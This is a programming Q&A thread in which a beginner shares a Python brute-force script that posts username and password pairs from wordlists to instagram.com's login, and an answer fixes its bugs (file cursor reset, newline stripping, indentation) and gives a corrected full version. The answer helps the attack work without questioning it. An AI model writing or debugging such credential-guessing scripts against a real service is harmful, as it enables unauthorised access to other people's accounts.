Python only reads the last word of my Wordlist

Question

I’m starting in python and I picked up an educational script from bruteforce. However, when the script reads the Wordlist passwords and users, it only takes the last record and ignores all the others. How to make him read all the lines?

import requests

url='https://www.instagram.com'

file_pass = open('file_pass.txt')
file_user = open('file_user.txt')

try:
    for users in file_user.readlines():
        for passw in file_pass.readlines():
            payload = {'username': users, 'password': passw}
            requisicao = requests.post(url, data=payload)
        if 'Sua senha está incorreta. Confira-a.' in requisicao.text:
            print('User: {}  Pass: {} > Inválido'.format(users, passw))
        else:
            print('User: {}  Pass: {} > Válido'.format(users, passw))
except KeyboardInterrupt:
    print("Varredura encerrada!")

Answer 1

You’re making three mistakes in your code:

1) You need to return the cursor of the password file to the beginning:

file_pass.seek(0)

2) For each line read, the line break character needs to be removed from the end of the string;

 payload = {'username': users.strip(), 'password': passw.strip()}

3) Your block if is not indented correctly.

See the commented solution:

import requests

url='https://www.instagram.com'

# Abre arquivos
file_pass = open('file_pass.txt')
file_user = open('file_user.txt')

try:
    # Para cada usuario....
    for users in file_user.readlines():

        # Retorna cursor para o inicio do arquivo de senhas
        file_pass.seek(0)

        # Para cada senha...
        for passw in file_pass.readlines():

            # Monta payload removendo quebra de linha
            payload = {'username': users.strip(), 'password': passw.strip()}

            # Requisicao HTTP
            requisicao = requests.post(url, data=payload)

            # Verifica conteudo da resposta
            if 'Sua senha está incorreta. Confira-a.' in requisicao.text:
                print('{} --> Inválido'.format(payload))
            else:
                print('{} --> Válido'.format(payload))

except KeyboardInterrupt:
    print("Varredura encerrada!")

# Fecha arquivos
file_pass.close()
file_user.close()